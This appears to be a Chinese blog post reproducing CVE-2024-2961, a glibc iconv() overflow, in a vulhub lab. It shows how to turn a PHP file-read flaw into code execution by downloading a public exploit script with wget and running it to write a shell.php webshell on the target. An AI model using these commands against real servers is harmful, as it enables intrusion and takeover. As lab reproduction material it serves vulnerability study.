vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
666HZ66610 分钟前
数据结构2.0 线性表
c语言·数据结构·算法
SmartRadio16 分钟前
ESP32添加修改蓝牙名称和获取蓝牙连接状态的AT命令-完整UART BLE服务功能后的完整`main.c`代码
c语言·开发语言·c++·esp32·ble
且去填词29 分钟前
Go 语言的“反叛”——为什么少即是多?
开发语言·后端·面试·go
知乎的哥廷根数学学派1 小时前
基于生成对抗U-Net混合架构的隧道衬砌缺陷地质雷达数据智能反演与成像方法(以模拟信号为例,Pytorch)
开发语言·人工智能·pytorch·python·深度学习·机器学习
yeziyfx1 小时前
kotlin中 ?:的用法
android·开发语言·kotlin
charlie1145141912 小时前
嵌入式的现代C++教程——constexpr与设计技巧
开发语言·c++·笔记·单片机·学习·算法·嵌入式
古城小栈2 小时前
Rust 网络请求库:reqwest
开发语言·网络·rust
hqwest2 小时前
码上通QT实战12--监控页面04-绘制6个灯珠及开关
开发语言·qt·qpainter·qt事件·stackedwidget
i橡皮擦2 小时前
TheIsle恐龙岛读取游戏基址做插件(C#语言)
开发语言·游戏·c#·恐龙岛·theisle
济6173 小时前
嵌入式C语言(第二期)
c语言